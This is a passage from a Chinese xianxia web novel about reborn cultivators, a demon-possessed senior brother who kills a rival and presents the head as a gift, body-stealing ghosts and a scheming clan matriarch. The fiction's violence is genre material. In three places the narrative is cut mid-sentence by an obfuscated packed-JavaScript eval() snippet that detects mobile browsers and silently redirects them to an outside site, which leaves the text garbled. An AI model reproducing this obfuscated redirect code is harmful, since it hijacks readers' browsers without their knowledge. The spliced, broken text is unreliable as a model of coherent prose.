清脆明亮的童声随即接上,发出了嘻嘻的笑声:“怀疑的种子,已经种下了。” * “以你的口吻修两封传书告诉父亲和诸何。就说郑玄性情急躁,以致妖兽失控,没能杀掉黎明珠,只让她受了些轻伤。” “他们要是问起来,就都算在我的头上。是我又恰巧多管闲事地路过,把黎明珠带了回去。你知道该怎么说。” “再以我的名义给云掌门修书一封,就说明珠师妹遭人暗算身受重伤,幸为我所救,终得平安,还请师尊放心。” 暗室内,灯光微弱如豆,堪堪照亮了一方棋局。修长的手指捻着最后一颗白棋落下,残局破。 少年的侧脸浸在灯光下,嘴角噙着一丝若有若无的微笑。 “你这次做得很好,我应该夸夸你。早知道你变成灵傀后这么听话,我就应该早点动手的。” 听到此话时,逐影空洞缥缈的眼神终于动了一下。他瞪大了双眼想要说些什么,却咿咿呀呀地吐不出半个字。 他想要挣扎,嘴角的肌肉牵动着他的回答。几番拉扯后,最终只吐出了一个僵硬的“是”后,缓缓地退了下去。 秦倚白眼见着逐影走出了房门,叹了一口气,这才慢慢地走到了房间的另一侧。肉眼望去,这里不过是一处头顶灯光无法照到的黑暗之处。 但在下一刻,一双墨绿的竖瞳在黑暗中骤然亮起。 黑色瞬间蠕动了起来,长长的蛇身带着嘶嘶声爬行着,换了一个方向,露出了方才被蛇遮挡住的灯光。 巨大的蛇头缓缓垂下,尖锐的蛇牙再次刺破手臂上刚刚愈合好的伤口,迫不及待地将鲜血吮吸入口。 “我怎么从来都不知道,焚骨兽也会挑食呢?”他轻声问道。 “尝过了我的血便开始挑剔了,刚刚那个完整的人在你面前,你却连动都懒得动一下,以后不可以这样了。” 小织从外面走过来的时,空气中仍弥漫着若有若无的腥气。 它刚迈进一只脚,又立马迈了出去。 眼前血腥的场面让小织立马颤颤巍巍地大叫了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137911|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“主人!你啥时候把这个东西送回璇云仙宗啊!它要是哪天把我吃掉了怎么办?” 秦倚白拍了拍巨大的蛇头,焚骨兽识趣般缩回了牙:“焚骨兽又不傻,它才不喜欢吃丝线。况且,这种妖兽攻击性与其他妖兽相比,不是那么强。吃人时,是把人囫囵吞进肚子里的,要等好几天才会消化。在这几天里,随便选一天剖开他的肚子,都可以把人救出来。” “若是有被吞进去的人又被人救出来了,那自然是对恩人肝脑涂地、知无不言。” “我听闻千年前有种刑法就是如此。专门把人喂到焚骨兽肚子里去,然后隔着焚骨兽的肚子问话。要是问得话不满意嘛,就直接不救人了;问得满意,也可以不救人了。这种刑法太过于残忍,后来这种焚骨兽被仙盟有意地捕杀,到最后也没怎么见到了。” “这只本来在璇云仙宗的禁地沉睡得好好的,却被诸何翻了出来,拿来对付黎明珠。诸何和父亲从一开始,就没打算真的想杀她,都是在骗郑玄玩呢。他们实际上,不过是要用这种刑法探清黎明珠的身份罢了。” “所以我把焚骨兽替换成了无色虫,也没什么关系的。” “那你还射她一箭……”小织迈着小碎步进入了门中,贴着门边小声嘀咕着。 “一个才入门几天的弟子,在焚骨兽面前全身而退,本就是不可能的。回禀回去,定是会惹来怀疑的。”秦倚白摇了摇头:“况且……” 记忆恢复的越多,他越不能容忍,有人假冒黎明珠的身份来欺骗他。 公报私仇罢了。 小织撇了撇嘴:“哦……但是,你把地牢的禁制都撤了,轻遥姐姐刚刚跑了哦。” * 赵轻遥从墙边的黑暗处走了出来。 久了没用传送阵法的后果就是,传送错了路。 秦倚白已带着小织离去,唯剩她和焚骨兽面面相觑。安静的空气中,沉默着些许尴尬的气氛。 “嗨,刚刚吃得可还好?我这里还有一些,要不要给你留下。” 偷听到的信息量太大,就连她自己也不敢相信。 她传送过来的时间,正逢秦倚白在和逐影说话之时。贴在墙角的阴影处本无人在意,谁知道眼见着面前出现了那么大一条黑蛇。 那么大! 赵轻遥虽说没有小时候那么怕蛇了,但看到一个巨大的蛇头出现在自己面前时,本能的反应还是跑。 但要是现在跑出去或者打起来,和秦倚白撞上了,那偷偷摸摸杀郑玄之事,就又得放下了。 她咬着牙与焚骨兽大眼瞪小眼,在焚骨兽张开腥臭大嘴的一瞬间,一横心,将芥子囊中满满一袋板栗饼倒入了它的嘴中。 “别出声,这个可比人好吃多了。” 焚骨兽大约从未吃过人类的糕点,囫囵吞下了下去了,细长的舌头舔了舔赵轻遥的手腕。 “你还要吃?”她一面尽力压低嗓音,一面竖起耳朵偷听秦倚白和逐影的对话。 焚骨兽一口一口的零食吃得香,竟也没有了攻击她的意图。待到秦倚白与它对话时,甚至还把赵轻遥往它身后藏了藏。 “焚骨兽也会挑食呢?尝过了我的血便开始挑剔了。”她听到秦倚白这样问道,不由得翻了个白眼。 是啊,几乎把她芥子囊中的零食吃了个精光,能不口渴吗? 多喝几口,把他抽干了才是最好! 29.变故 “你醒了,睡得可真够久的。” 梦境逐渐散去,眼前的世界从模糊变得清晰。黎欢艰难而迟缓地睁开双眼,耳畔传来的,便是系统声声呼唤她的声音。 “你舍不得积分,不肯接受我的帮助。但你看看那你自己,又能做好什么事情呢?被关在秦家的地牢里,怕是好不容易刷到的那一点秦倚白的好感,都消失殆尽了吧。” “你在说什么?”黎欢有些不敢置信。 昏迷前的记忆断断续续地涌来,她应该是战胜了那条透明的蛇,然后、然后…… 一支箭冲着她飞了过来,在即将要扎穿她的头颅时,被人打转了方向,弄伤了她的手臂。 再之后的事情,她就不记得了。 “黎明珠前世得罪过一些人,这些人恰巧也像你一样,记得前世的记忆。好巧不巧,便报复到你的身上了。在秦家门口斗殴,导致秦倚白把当事的人都关进了秦家的地牢。你若早点听我的,让我来帮你,怎么会沦落到这种地步?” 系统轻描淡写地说着,语气中极尽嘲讽。 “她得罪过的人是谁?”黎欢没有生气,神色怔住了一瞬,方开口问道。 她很少向系统问问题。可梦境中的画面黏黏糊糊地灌入脑海之中,让她感到有些隐隐的不安与疑问。 黎明珠的身份,似乎没有她想象中那么简单。 秦倚白师兄入魔之事,在当年传得沸沸扬扬。都说他是没有征兆地突然入魔,可在梦中的璇云仙宗,那股劈天盖地的魔气做不得假。 前世的黎明珠到底是什么人,她为什么能压制住师兄身上的魔气? 她犹豫不决地看向系统,希望能得到一个满意的答复。 系统古怪地笑了一下,并没有正面回答这个问题:“你以为放出蛇的,和拿箭射中你的,是同一个人吗?” “前世的恩怨,谁又说得清呢。你的一切不都是我给的吗?只要你能好好听我的话,我敢保证,不会再有人能伤害到你。你能好好地,得到你想要的东西。” “你别忘了,这个世界只是一场游戏罢了。你要是不行,还会有另一个黎明珠顶上来。到时候,你会去哪里,那就说不一定了。” 黎欢心中一震。 她用力眨了眨双眼,试图将刚刚的疑问抛之脑后。 她不该问的。 世间万物在万华之眼中,都会现出自己的真身。眼前的系统也不例外,漂浮的血雾正中,大大标着系统两个字。 就算黎明珠的身份有问题,但系统至少有一件事说的没错,她目前的一切,都是系统给的。 容貌、身份、能力…… 她的确没有拒绝的权力。 “等师兄把我从这里放出去后,我会听你的。能用积分就用积分,不会再擅自行动了。”她低下头,含混不清地说道。 系统似是听说了什么好笑的事情:“出去之后?不,你今晚的行动已经失败了,从现在开始,就要都听从我的命令。” 它将两章传送符咒拍到了黎欢的手中,轻声开口:“听我说,这个地牢是个好地方,马上就能有一个让你尝试着杀掉赵轻遥的机会。” 黎欢有些不安地望向系统。 “没关系,你只是试一试罢了。就算失败了,你愿意听我的,就还会有下一次机会。” 红色的血雾慢慢覆盖上带有万华之眼的右眼。极尽诱惑的语气,冰凉黏腻的触感,让黎欢忍不住颤抖了一下。 其实,她也没有什么其他的选择了。 于是她说:“好。” * 赵轻遥踩在屋檐上,极快地向前行动着。 焚骨兽的魔力被人压制过,因此并未过多地为难她。被人族的小零食喂得心满意足后,甚至还给了她一片脱落下来的鳞片。 将那枚鳞片带在身上,她的身影与墨色的黑暗近乎融为了一体,让人难以察觉。 秦家此次带来的侍从说多不多,说少不少,并不像中州主宅那般守卫森严。零零散散的守卫精神萎靡来回转悠着,似是要到了换班的时间。 最重要的是,他们的确不爱点灯。 她曾住过秦家的客房,也还隐约记得一些如何前去的路线。如果秦倚白就把郑玄安排在她上次住过的客房处,那解决掉郑玄,便是再轻易不过的事情。 想到秦倚白,赵轻遥眼光不由得闪烁了几分。 她其实早有怀疑,不过是刚刚偷听到的秦倚白所说的话,确定了她心中的疑问。 他的重生方式似乎她的并不太一样。如果说赵轻遥是魂魄回到了十年前的身体内,那秦倚白就是十年后的魂魄连着身体,一同年轻了十岁。 只有驾驭过魔气的身体,才能得心应手地把活人制成灵傀。否则他就算知道方法,也难以操作。 多么阴狠毒辣的法子,亏他想得出来。 不知道他这次,会在什么时候暴露他的魔修身份。 最好是快点为妙。她还等着他把秦家搅得一团糟后,再去坐收渔翁之利呢。 不过把焚骨兽换成无色虫之事,倒是令她感到十分意外。秦倚白为什么要掺和进这样的事情里面来? 摆明了,就是他想要救下黎明珠。 想要救黎明珠? 赵轻遥感觉有些古怪。微凉的夜风吹过她的后颈,竟起了一层薄薄的鸡皮疙瘩。 以她对秦倚白的了解,这个人绝对不是一个喜欢多管闲事的人。 这人入魔后,曾有璇云仙宗新入门的师弟师妹在下山执行任务时误入魔修的天问崖地界。但作为天问崖之主的他,可以眼见着这些昔日的同门死于妖兽的折磨下,也懒得伸出一下援手。 这世上居然能有他想救的人? 赵轻遥在记忆里努力翻了一下,认认真真地回忆了一遍自己在黎明珠期间干的事,实在是不记得能和秦倚白有什么过多的交情。 “我曾应该有过一个喜欢的师妹。”被困在第八峰时,秦倚白用姜元的身份对她说过的这句话,突入其来地出现在了她的脑海中。 他那个时候,是在开玩笑吧?师妹那么多,又不止黎明珠一个人。 但如果是真的…… 赵轻遥一怔,毫不客气地在自己的脸上拍了两把。速度之快用力之狠,就连她自己都差点没反应过来。有些的火辣辣的疼痛终于终止了她一路上的胡思乱想,把她拽回了夜风寒凉的现实中。 还是不要太轻敌为妙。 郑玄的确是那三个人里面死得最简单最轻易的。杀他不难,但如果杀他这口锅落到自己头上,还是一件麻烦事,容易牵连到炼心阁和阿娘。这也是她在探查记忆后,迟迟没有动手的原因。 本来就是想趁他们对黎明珠动手后,自己再对郑玄动手。但如今黎明珠平安无恙,单杀一个郑玄,就太过显眼了。 让他死在秦家,再把这口锅丢给秦倚白,是如今看来最好的解决方式。 逢春剑嗡鸣了一声,似是有些兴奋。 “别太激动,我们马上就到了。”她小小声地说着,拍了拍剑柄。 和其他人的本命年比起来,逢春的年纪还是太小了,没到能化出剑灵的时候。前世被她压在潭底数年,也没有个化出剑灵的机会。也不知道从第八峰回来后它是怎么了,这么能闹腾。 她已经能看到上次住过的那个院子里,透出的隐隐微光。 再往前走一走,再往前走一走,再…… “砰!” 石破天惊的一声巨响,在她的耳畔炸开。耳膜嗡嗡作鸣,时间仿佛在此刻凝滞。 浓郁的魔气夹带着刺鼻的腥味,猛地钻入鼻腔,刺得脑仁生疼。 一片树叶在空中打着转盘旋着,轻轻落在她的身侧。落地的瞬间,化为灰烬。 很难形容那是一种什么气味,明明只是一片树叶在燃烧,闻起来像是某种皮肉烧焦后遗留下的腥气与苦味。 赵轻遥警惕地后退了两步,扭头向着巨响的方向看去。 她方才被关在地牢里的时候,总觉得很奇怪。那么大的树根,总该匹配一棵巨树才对。可她上次来秦家时,并没有看到什么能与之匹配的树。 但她现在看到了。 巨大无比的榕树拔地而起,甚至比她当初在第八峰看到的榕树,还要大上几分。沙沙摇晃在树枝和树须在黑夜中宛如一只只从地狱中伸出的鬼手,阴森可怖。 明明此刻无风,可一片片树叶还是向着四面八方飘去。落地时,无一例外地化为了灰烬。 她甚至还看到,有些树叶越过了第七峰上的廊桥,向着第一至六峰落去。 这一切都完成后,又是轰隆一声。地面重新裂开一条极大极深的缝隙,榕树缓缓降下,地面重新合上。 仿佛一切都没有发生过。 如果不是刚刚消失在她脚步的榕树叶,化为了一个勉强有着人形的黑影的话。 准确来说,是像一个被很多人的肢体拼凑成的人形。 人形似乎还不是很适应自己的躯体,嘴里发出了几句嘟哝后,摇摇晃晃地向着赵轻遥走来。 赵轻遥眼睫一撩,站在原地没有动。 想动也没办法。如果没有看错的话,她的四面八方都已经被这种怪物包围了。 遥远的尖叫声,从很远很远的地方传来,不知是第几峰的修士遇到了麻烦。混合着秦家侍卫奔走相告的惊慌声,倒显得格外地吵闹。 仙灵界的修士大多都知道这个东西。 妄鬼。 准确来说,是死者充满怨气的魂灵在魔气中浸染后,有机会诞生的产物。 妄鬼们的唯一所求,便是夺得一副人族的身躯。在此过程中,原本躯体主人的神识与魂魄,将会被啃食殆尽。等妄鬼与原有的躯体结合后,会继承原主的记忆,并产生新的神识。 有修士在秘境中与同伴走失,重逢后便性情大变。这种情况,多半就是被妄鬼夺了身体。 这个过程,有个更为简单的名字。 叫做夺舍。 要彻底解决这等妖兽,必须得要西境魂修来处理。 魂修本就稀少。前来参加剑道大会的人里面,又有几个人能是魂修呢? 这下问题可大了。 不过,对赵轻遥来说,这也是个机会。 现在秦家的侍卫大乱,根本没人会注意到她的存在。趁乱妄鬼作乱解决掉郑玄的性命,没什么比这个更好的了。 她紧紧扣住手中的逢春,歪了歪头,作势要甩出一道剑风: “你说说你们,是给我带来幸运的,还是不幸的呢?” 话音未落,周身围绕着的五只妄鬼,便龇牙咧嘴地向她扑来。它们曾经也是人的魂灵,十分狡猾,对于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149510|132302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑光更是格外敏感,纷纷躲闪。 凌厉的剑风划过,竟无人中招。 秦家的瓦片多为琉璃多做,极其脆弱光滑。它们只顾着躲闪,自然也没有关注到,赵轻遥俯身一滑,便顺着光滑的瓦片滑出了重围。 下一刻,屋檐下一盏散发着淡青色光芒的聚灵灯,就这样被她捞到了手中。 灯身被她拽着漂亮地旋转了一圈,光芒更胜。 这里可不是第八峰,灵气需要省着用的地方。即便方才有魔气溢出,秦家所在的第七峰,也会是整个试仙峰灵气最盛的地方。 她又不是魂修,最多只能拖慢一些妄鬼的脚步。一只只对付起来,实在是太累。 终于长好了的的十境天脉感到了暖洋洋的舒适,源源不断的灵气从指尖溢出,强行灌入聚灵灯中。 妄鬼们警惕地观察着她的动作,蓄势待发。 一束极小极微的火苗,包裹在一团灵气中,送入灯内。 妄鬼们起身扑向赵轻遥的那一刻,聚灵灯也以一个漂亮的弧线,完美地落到了妄鬼群中。 “啪!” 巨大的火墙腾空而起,炽烈的橘红色一寸寸地染红了妄鬼们的身躯。它们的动作被火焰所拖缓,嘴中冒出咕噜咕噜的声音,蜷缩在火墙的周围。 赵轻遥见到此情此景,忍着笑了拍了拍手:“味道怎么样?” 这是云渺渺曾教给她的应付妄鬼的方法。 “这种炸弹呢,只需要一点点的五行术法,和能够承受足够多灵气的容器就行,扔出去就去爆炸掉。不止是打妄鬼了,只要你的灵气够,打啥都可以这样打,就是有点考验准头……” “所以这就是你让我用这个方法打山鸡的理由?我还是个病人,灵气本来就运转得慢,差点被你这个方法榨干了!” 她总是在这种莫名其妙的时候,想起云渺渺的事情。 笑意忍着忍着,眼角边的酸意便泛滥了上来。她简单克制了一下,不再对着那几只被困住的妄鬼,转头对向客房的方向。 却又有些怔住。 刚刚掷出聚灵灯的火苗,总不能飘到客房那边去吧。 劈头盖脸的熊熊烈火,正在客房院子的正中央,灼烈燃烧着。 * 火势还没有蔓延到主屋这边来。房门很轻,轻轻一推,便嘎吱一声响。 赵轻遥小心地迈入屋内。 屋中很暗,房中的灯已经全部熄灭了。空气中漂浮着一股湿淋淋的腥气,和外面妄鬼出现时的味道很像。 堂中无人,室内也无人。不仅如此,此处魔气似乎要更浓郁一些。 她用逢春戳了戳有些凌乱的被褥,没有发现人的踪迹。 郑玄难道不住在这里,是她找错了地方吗? 她退出了主屋,又在侧屋内找寻了一番,依旧一无所获。 秦家的客房或许不止这一间,一间间找过去,也不是不行。 背靠着的房门还能感受到屋内魔气散发出的阵阵寒凉之意。但院内的火势被风一吹,又变得更大了起来。灼热的火舌顺着地面爬行着,不断舔食着肉眼可见的一切物件。 赵轻遥站在冰火两重天的夹缝中,沉默地思考着。 她总感觉很奇怪,像是遗漏了什么东西。方才来时她还看了一眼,明明记得这间屋还亮着。 难道是遇到妄鬼的事情后,直接跑了? 跑,又能跑到哪里去。 滴答。 火焰燃烧的噼啪声近在耳边,四处嘈杂中,水滴落地的细微响动,倒显得格外地不起眼。 滴答滴答。 的确是从室内传来的水声。 赵轻遥精神一震,将耳朵轻轻地贴在了门上。 滴答滴答滴答滴答。 水滴声急促了起来,像是急切地邀请。她没有再次犹豫,直接一脚再次踢开了房门。 脆弱的房门轰然倒地,溅起一地的飞尘。熊熊烈火在她的身后燃烧,将漂浮在空气中的黑色尘灰映照得格外清晰。 也将摆放在桌上那张面色惊恐的头颅映得通红。 血腥味混着魔气劈头盖脸地袭来,浓稠的血液顺着桌面淌下,一滴一滴地落到了地上,绽开一朵朵小血花。 赵轻遥退后了一步,神情复杂地看着面前发生的这一切。 在她看来,秦倚白的面具一直戴得很好。无论前世还是今生,遇到什么事情,他都永远是一副该死的平静模样。 他们再次相逢比剑的时候是这样,在第八峰被她掐住脖颈的时候是这样,把她骗来秦家的时候也是这样。 他甚至在撕碎狐妖时,神情都是冷静而温和的,没有半分失态。 似乎没有什么能让他摘下面具。 她也从来没有见过秦倚白露出另一幅神情。 他依旧是以那副挺拔的姿态端坐在堂中,只是漂亮的半边脸被血染湿,曾经如星般明亮的双眸黯淡了下去,盘旋着赤红色的癫狂与满足。 他抚摸着郑玄的头颅,嘴角噙着一丝满意的微笑,像是抚摸着一件完美的作品。 源源不断的魔气从他的身上散开,向四周不断地流淌着,比外界还要浓郁许多。 “这就是我要送给你的礼物。” 他望着赵轻遥错愕的神情,愉悦地笑出了声: “师妹,你想杀的还有谁?” 30.你我(一) “秦倚白,你又走火入魔了,开始说胡话了。” 良久,赵轻遥轻笑一声,缓缓开口。 她从未感受到如此冷静过。从重生到现在的一切在脑海中飞速闪过,明明此刻心跳如擂,她的头脑却是前所未有的清醒。 “我早就不是你的师妹了。” 每向前走一步,她便能更进一步地感受到秦倚白身上的气息。秦家少主身上安静沉稳的衣物芬芳,混合着那股独属于强大魔修的压迫血腥气,形成一股介于黑与白之间的混沌香气。 然后,她便注视上了那双染红了的双眸。 “让我来猜一下,你的身上到底发生了什么吧。” “我们重生回来的方式本就不同。你是身体重生,带回了你那副被魔气浸染多年的身躯。这也就导致十六岁的你现在根本无法掌控体内奔涌的魔气与十境灵脉之间的平衡。早在虚梦幻境里,你便失控了,差点导致我们俩一同身受重伤。” “我要求比剑时,你就对我的身份产生了好奇。后来在第八峰时,你利用我对姜元的信任,反复试探我的身份,便猜到了我就是前世的黎明珠。” “但你并没有直接挑明,因为你想从我身上得到你要的东西。你知道我恨你、恨秦家入骨,根本不会答应与你合作之事,所以便设计我和现在那个假的黎明珠都骗了过来。” “逐影是秦肆的眼线,却早就被你用魔修惯用的手段做成了唯你是从的活人灵傀。所以你知道郑玄重生之事,也知道诸何会对假的黎明珠下手。所以你换掉了诸何提供给郑玄的焚骨兽,却还是让假的黎明珠受伤。” “让她受伤是为了不引起诸何过多的怀疑,继续让逐影探听你父亲那边的消息;不让她死了是为了博取云弄潮掌门的信任。” “至于郑玄,你根本就没打算让他活着回去。地牢没有设任何限制,从一开始就困不住我。你料到我一定会来杀郑玄,所以就顺水推舟,卖我一个人情,让我心甘情愿地和你合作。” “师兄好手段啊。你有那么多的心思,大可去网罗天下英才,为什么要费尽心思地来制作这张捕获我的网呢?” “你知道我的往事,自然也就知道,我下一个最想杀的是谁,又何必来问我呢?” 赵轻遥拍了拍手,笑出了声。 她踏过一地湿淋淋的血迹,站到了秦倚白的面前。在那双覆盖着癫狂魔气的眼眸中,她甚至能看清她自己说完这些话后近乎疯狂的神情。 被人戏耍后的第一个反应,便是愤怒。但愤怒退潮之后,心中所有的疑惑便又翻涌了上来。秦倚白对黎明珠的执着,似乎是到了一种让她格外费解的地步。 “我不记得上辈子和你有过什么交情,我也不信你所说赵家死去之人的性命和你没有什么关系。即便你杀了郑玄,也别想领我的情。你有你对秦家的仇怨要报,我也有我自己的路要走。我想杀的人我自己会杀,剑握在我手上,我就不会再其他人来害赵家的机会。” 秦倚白依旧直直地注视着她,没有说些什么。 赵轻遥竹筒倒豆子般将心中的话倾数倒出,转身便要离开。 凭什么指望一个被欺骗的人,要和欺骗自己的人来合作。既然秦倚白已经把郑玄杀掉了,外面又都是妄鬼,她还是赶快离开这里。 知道她是前世的黎明珠,又能怎么样呢?今世的黎明珠的身份已经被人所占,她也根本不稀罕这个身份,谁爱当便去当就是。反正,她才不要在这里继续和他待着。 火焰燃烧的噼啪声,格外刺耳。 手腕处传来的巨力,让她猝不及防地被拽着后退了两步,直接撞上了圆桌的边缘。 郑玄的头颅被撞得晃了两下,咕嘟嘟地滚到了地面上,与赵轻遥四目相对。 “你又想做什么?”她于心中啧了一声,冷着声抽出了手腕,重新面向秦倚白。 那团血肉模糊的东西看得她恶心,与其这样,还不如看看秦倚白那张长得还算可以的脸。 这人就非缠上她了吗? “赵轻遥。” 他的手如上次走火入魔般凉得可怕,便连望向她的神情,也多了几分癫狂与执着。唯独连名带姓地叫着她的名字时,声音飘渺而轻柔: “我恨秦家,更恨我的身份。我身边的人很多,却总是孤零零地活着。” “前世你先说的,你喜欢我的。” “你想不起来也没有关系,我也没有完全想起来过去发生的事情,你现在走了没有关系,现在不愿意和我多说话也没有关系。” “我会再找机会跟着你的。你想杀的人,我愿意替你代劳。” 话音未落,门外的火舌铺天盖地地卷起,扑向门面,隐隐约约能看到通亮的火光。似乎只要再近一些,便可以直冲室内。炽热的灼烧感让赵轻遥忍不住眯起了双眼: “你又在发哪门子的疯,明镜花闻多了出现幻觉了吗?我再砍你一次,你难道就舒服了?” 她怎么可能对他说过她喜欢他的话? 走火入魔真可怕,连着脑子都一起烧坏掉了。 下一刻,近乎不可察觉的寒光从眼前闪过。 虽说她也不需要秦倚白的帮忙,但秦倚白这次帮她杀了郑玄,她也不想对秦倚白出手。但手腕上的刺痛近乎不可思议地传来时,整个人都无法动弹的她还是感受到了一股前所未有的崩溃。 又拿暗招对付她! 她就不该高估他的道德水准。 她被迫僵在原地,一动也不能动,使出了浑身的力气也没有拔出逢春。正欲念出剑诀,可逢春啪嗒一声,被强大到无法抗拒的魔气甩落到了地上。 这下好了。 一个人居然能在一天内,被另一个人暗算三次。 逐仙剑出鞘的那一刻,她没有丝毫得怀疑,会砍到她的脖子上。 但下一瞬,剑刃将皮肉割裂的声音,在耳边显得格外清晰。 滴滴带着浅金色的血液,从秦倚白手腕处的伤痕上流出。 赵轻遥也曾见识过秦倚白极强大的伤口愈合的能力,但她是第一次看到他露出的手腕上,新伤叠着旧伤,密密麻麻,格外触目惊心。 这让她忽然就想起了,在第八峰的狐妖死去后,秦倚白手腕上的伤。 她当时还以为是她不小心把他打伤的,如今看来,那些伤都是他自己造成的吗? 他这又是想要做什么。 “师妹,得罪了。我知道你不愿相信,我就只能用这样的方式来证明了。” 秦倚白悠悠的声音骤然在耳畔响起。他隔着衣袖抓住了她的手腕,却又犹豫了一下,转为了握住她的指尖。 他手心温度冰凉。那股冰凉的温度就那样慢慢顺着血液的流动,滑到了她的心口处。 让她的心脏莫名其妙地跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可她分明记得,天脉破碎后,自己是用千年浮妄草和青羽笛修行的。可秦倚白身体内的情蛊,却是由她的血唤出来的。 难道她真的曾失去过记忆吗? 如果是这样的话,如果是这样的话…… 赵轻遥不敢再多想下去。 门外的火势小了下去,没有再对她进行阻拦。 “我先走了。”她磕磕绊绊地丢下一句话,近乎是头也不回地落荒而逃。 没有什么是比死对头体内有着自己种植的情蛊更令人震惊的事情了。 她此刻的思绪混乱无比,已经无法再思考其他的事情。直到跑出了一段距离,才忽然发现哪里不对。 漆黑的天穹,此刻擦出些微的白光。方才来客房的路上,四处都是妄鬼。远处的惊叫和侍从的呼喊交织,吵闹无比。 但此时,天地间却无比地安静。 别说人了,她连一只妄鬼都没有见到。 她警觉地站在原地看着天光,进也不是,退也不是。 一只金色的团子,猝不及防地滚到了她的脚边:“轻遥姐姐,赶快回去救一下主人吧。” 小织的眼中包着一汪泪,摇摇欲坠:“你再不回去,他就要死在那里了。” 31.你我(二) “是有人瞧见了试仙峰的妄鬼,从秦家的地盘上跑出去的?” “回夫人,是这样子的。此次试仙峰举办的是剑道大会,并没有太多魂修前去此处。几位略通魂修之术的长老联手在第七峰的比试场中搭建了避难的结界屏障,但能撑多久就不知道了。” “我儿的情况怎么样?” “少主、少主……那些个废物在撤退时没有找到少主在哪里。少主能力不凡,又有溯荒神君庇护,吉人自有天相,又想来应是早就去往结界中了,不会有什么大事。” 中州环湖,炎炎夏日中也素来凉爽。天方蒙蒙亮,惜雨楼外的地面上还带着一丝夜的寒凉。尽管如此,豆大的汗珠还是从跪在门外的侍从头上滴滴落下。 他紧张地吞了一口唾沫,悄悄地抬眼,偷瞄了一眼依旧紧闭的房门。定神安眠的徐徐花香从门缝中飘出,沁人心脾,却依旧无法安抚他叫苦不堪的内心。 那些人就欺负他是个新来的,叫他来传话。 溯荒神君的羽化祭日将至。家主前半夜刚迈进祠堂闭门祭祀,后半夜试仙峰便传来这样的噩耗。一群人面面相觑后,最终决定还是先将此事告知夫人。 只是少主体弱,夫人素来爱子如命,将少主保护得很好。在他十多岁前甚至连家中人都难以见上一面,这才出家门,就出了这么大的事情…… 噼里啪啦瓷器破裂的声音伴着侍女的惊呼从室内传来,面前的门猛地被人重重地推开。浓郁的香气罩了侍从满身,他吓得脑袋一缩,头紧紧地贴在地面上,不敢抬起半分。 一双赤足跨过门槛,静静地停在了他的面前。光滑圆润的甲面上,凤仙花汁如火般鲜红明亮。 “你刚刚最后一句说什么?” “没有找到少主在哪里……”侍从颤颤巍巍地开口。 “不不,不是这句,是你说的下一句。”夫人的嗓音轻柔婉转,没有半分发怒或者崩溃的迹象。她的双脚被侍女扶着,施施然踩进一旁递来的凤头鞋内。鞋尖上的明珠硕大饱满,晃乱侍从的双眼。 “少主能力不凡,又有溯荒神君庇护,吉人自有天相……” “赏。” 赏什么?为什么要赏他? 侍从有些迷茫无措地抬起头,恰巧对上了姜怀盈那张美到了极致的面庞。 他进秦家的时日不长,却也早早地听说了夫人自少时起便是个世间难得的绝代美人。修士寿命与天脉和修为挂钩,多有数百年之长,驻龄之术更是普遍,漂亮的皮相在仙灵界从来不是稀缺之物。但即便如此,姜怀盈的美丽还是超出了他的想象。 仅此一眼,便能使人呆住。 “发什么愣?夫人赏你呢,还不谢恩。”一旁衣着光鲜的侍女口齿伶俐,一枚圆滚滚的金锭从她的手中抛落,落入了侍从的怀中。 “谢、谢谢夫人。”他慌乱地低下头去,手忙脚乱地试图将怀中的金锭收好,心咚咚乱跳。 他太过慌张,直到手掌接触到金锭的那一刻,才觉得不太对劲。 金锭貌似扩大了一些,而且烫、非常烫手。 这是什么情况? 侍从犹豫地看向手中的金锭,几乎是不敢置信地睁大了双眼,却又在下一秒,惨叫出声。 “啊、啊——救——” 本小巧玲珑的金锭在他的掌中如妖兽般张开了血盆大口,径直将他的整个手掌吞下。短暂的麻木后,传来的便是让人不敢置信的疼痛。 手掌、手臂、胸腔……金锭不断啃食着他的身躯,直至他失去了尖叫的能力。偶有飞溅出的血液落在地面上,却又被很快地舔食干净。最后一口咽下时,地面变得光洁如新,似乎从未有人跪在这里过。 “夫人,您别生气。一个新来的奴才不懂规矩,一大早便碰了忌讳,真是可恶,脏了我们门前的花香。夫人就这么让他死掉,算是便宜他了。”侍女讨好地笑着。 “噢?那你倒是说说,他犯了什么忌讳?”姜怀盈抚了抚鬓角,慵懒开口。 侍女的眼珠滴溜溜转了一圈,谨慎作答: “夫人既是慈母,又是严母,无论随时随地都在为少主考虑。少主是被千娇万宠着长大的,又是秦家唯一的继承人。赞美的话他将来有的是机会听,只是现在少主入世不深……” “他人的夸赞听多了,自然就会生出一些不该有的想法。外人怎么评价他我们秦家管不着,但秦家内,是万万不能有夸赞少主的人的。” 姜怀盈眼波流转,涂满蔻丹的柔荑从侍女的手中抽出,轻轻以帕掩住口鼻: 